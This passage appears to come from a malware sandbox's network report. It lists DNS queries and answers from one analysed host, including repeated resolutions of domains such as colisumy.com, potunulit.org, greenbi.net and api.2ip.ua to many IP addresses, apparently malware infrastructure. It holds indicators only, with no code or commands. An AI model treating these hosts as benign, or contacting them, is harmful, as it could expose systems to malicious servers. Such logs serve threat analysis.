Jul 27, 2023 18:28:15.023638964 CEST	192.168.2.4	8.8.8.8	0x22ee	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.111797094 CEST	192.168.2.4	8.8.8.8	0x77dc	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.235428095 CEST	192.168.2.4	8.8.8.8	0xda0a	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.273926973 CEST	192.168.2.4	8.8.8.8	0x7f50	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.404149055 CEST	192.168.2.4	8.8.8.8	0xacac	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.422487020 CEST	192.168.2.4	8.8.8.8	0x37d7	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.440025091 CEST	192.168.2.4	8.8.8.8	0xb584	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.566251993 CEST	192.168.2.4	8.8.8.8	0x1eea	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.566488028 CEST	192.168.2.4	8.8.8.8	0x886a	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.697630882 CEST	192.168.2.4	8.8.8.8	0x7632	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.705919981 CEST	192.168.2.4	8.8.8.8	0x6f11	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.743628979 CEST	192.168.2.4	8.8.8.8	0x68c5	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.744776011 CEST	192.168.2.4	8.8.8.8	0x31f1	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.748977900 CEST	192.168.2.4	8.8.8.8	0x9504	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.780745029 CEST	192.168.2.4	8.8.8.8	0xcfb5	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.855799913 CEST	192.168.2.4	8.8.8.8	0xcbdf	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:15.930092096 CEST	192.168.2.4	8.8.8.8	0xc2fd	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.104753971 CEST	192.168.2.4	8.8.8.8	0xdca4	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.229460001 CEST	192.168.2.4	8.8.8.8	0xb5a3	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.379281044 CEST	192.168.2.4	8.8.8.8	0xcb7f	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.440107107 CEST	192.168.2.4	8.8.8.8	0xb584	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.498955965 CEST	192.168.2.4	8.8.8.8	0x2b01	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.533632994 CEST	192.168.2.4	8.8.8.8	0x301a	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.858855009 CEST	192.168.2.4	8.8.8.8	0xaaae	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.930543900 CEST	192.168.2.4	8.8.8.8	0xcdda	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:16.997497082 CEST	192.168.2.4	8.8.8.8	0xbab6	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.004127026 CEST	192.168.2.4	8.8.8.8	0x3b8f	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.112046957 CEST	192.168.2.4	8.8.8.8	0x77dc	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:28:17.189311981 CEST	192.168.2.4	8.8.8.8	0x24f	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2023 18:26:40.344101906 CEST	8.8.8.8	192.168.2.4	0x98f0	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.344101906 CEST	8.8.8.8	192.168.2.4	0x98f0	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		189.186.77.28	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		177.254.85.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		200.119.114.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		187.140.86.86	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		187.134.53.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:40.839651108 CEST	8.8.8.8	192.168.2.4	0xa17d	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:45.454947948 CEST	8.8.8.8	192.168.2.4	0xaf2	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:45.454947948 CEST	8.8.8.8	192.168.2.4	0xaf2	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:47.274369955 CEST	8.8.8.8	192.168.2.4	0xdc32	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:49.342629910 CEST	8.8.8.8	192.168.2.4	0x30dc	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		189.186.77.28	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		177.254.85.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		200.119.114.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		187.140.86.86	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		187.134.53.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:50.274930000 CEST	8.8.8.8	192.168.2.4	0x45ac	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:51.785703897 CEST	8.8.8.8	192.168.2.4	0xdc67	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:55.858856916 CEST	8.8.8.8	192.168.2.4	0x636c	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:55.858856916 CEST	8.8.8.8	192.168.2.4	0x636c	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:58.433279037 CEST	8.8.8.8	192.168.2.4	0xcdc5	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:58.433279037 CEST	8.8.8.8	192.168.2.4	0xcdc5	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:26:59.236200094 CEST	8.8.8.8	192.168.2.4	0xe3c	No error (0)	nordskills.eu		213.6.54.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:00.478599072 CEST	8.8.8.8	192.168.2.4	0x2339	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:00.478599072 CEST	8.8.8.8	192.168.2.4	0x2339	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.174053907 CEST	8.8.8.8	192.168.2.4	0xf53d	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.174053907 CEST	8.8.8.8	192.168.2.4	0xf53d	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.576997042 CEST	8.8.8.8	192.168.2.4	0x890	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:03.933351040 CEST	8.8.8.8	192.168.2.4	0xd9b1	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:04.529915094 CEST	8.8.8.8	192.168.2.4	0x3cd8	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:04.529915094 CEST	8.8.8.8	192.168.2.4	0x3cd8	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		187.204.99.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		168.187.75.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		220.82.134.215	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		124.43.19.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:05.899866104 CEST	8.8.8.8	192.168.2.4	0x41a2	No error (0)	colisumy.com		190.219.153.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:07.828816891 CEST	8.8.8.8	192.168.2.4	0x97c	No error (0)	us.imgjeoigaa.com		103.100.211.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:09.393101931 CEST	8.8.8.8	192.168.2.4	0x594b	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:09.393101931 CEST	8.8.8.8	192.168.2.4	0x594b	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		187.204.99.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		168.187.75.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		220.82.134.215	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		124.43.19.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:11.345679045 CEST	8.8.8.8	192.168.2.4	0x6b88	No error (0)	colisumy.com		190.219.153.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:16.868472099 CEST	8.8.8.8	192.168.2.4	0x5103	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:16.868472099 CEST	8.8.8.8	192.168.2.4	0x5103	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:16.989175081 CEST	8.8.8.8	192.168.2.4	0xeba8	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.031116009 CEST	8.8.8.8	192.168.2.4	0x2999	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		187.204.99.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		168.187.75.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		220.82.134.215	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		124.43.19.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.474200964 CEST	8.8.8.8	192.168.2.4	0xa843	No error (0)	colisumy.com		190.219.153.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:17.576421976 CEST	8.8.8.8	192.168.2.4	0x5a08	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:18.422244072 CEST	8.8.8.8	192.168.2.4	0x9b20	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:18.975770950 CEST	8.8.8.8	192.168.2.4	0x6ab6	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:20.716774940 CEST	8.8.8.8	192.168.2.4	0x47c5	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:20.716774940 CEST	8.8.8.8	192.168.2.4	0x47c5	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:21.550534010 CEST	8.8.8.8	192.168.2.4	0xcd47	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:21.801179886 CEST	8.8.8.8	192.168.2.4	0xf9da	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:21.801179886 CEST	8.8.8.8	192.168.2.4	0xf9da	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.177717924 CEST	8.8.8.8	192.168.2.4	0x8e7e	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		189.186.77.28	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		177.254.85.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		200.119.114.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		187.140.86.86	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		187.134.53.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.211596966 CEST	8.8.8.8	192.168.2.4	0xf7ef	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.517275095 CEST	8.8.8.8	192.168.2.4	0x28f8	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.606772900 CEST	8.8.8.8	192.168.2.4	0xf694	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		124.43.19.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		190.219.153.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		187.204.99.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		168.187.75.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		220.82.134.215	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:22.757246017 CEST	8.8.8.8	192.168.2.4	0xf77e	No error (0)	colisumy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:23.157444000 CEST	8.8.8.8	192.168.2.4	0x5f3e	No error (0)	nordskills.eu		213.6.54.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:23.963908911 CEST	8.8.8.8	192.168.2.4	0xf064	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:23.963908911 CEST	8.8.8.8	192.168.2.4	0xf064	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:26.275907040 CEST	8.8.8.8	192.168.2.4	0xa65c	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:26.275907040 CEST	8.8.8.8	192.168.2.4	0xa65c	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:27.238418102 CEST	8.8.8.8	192.168.2.4	0x7015	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:27.238418102 CEST	8.8.8.8	192.168.2.4	0x7015	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.031049013 CEST	8.8.8.8	192.168.2.4	0xf89d	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		187.204.99.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		168.187.75.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		220.82.134.215	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		124.43.19.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:28.918450117 CEST	8.8.8.8	192.168.2.4	0xf62d	No error (0)	colisumy.com		190.219.153.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.109632015 CEST	8.8.8.8	192.168.2.4	0x7708	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:29.790620089 CEST	8.8.8.8	192.168.2.4	0xb983	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.246109009 CEST	8.8.8.8	192.168.2.4	0x2bc5	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
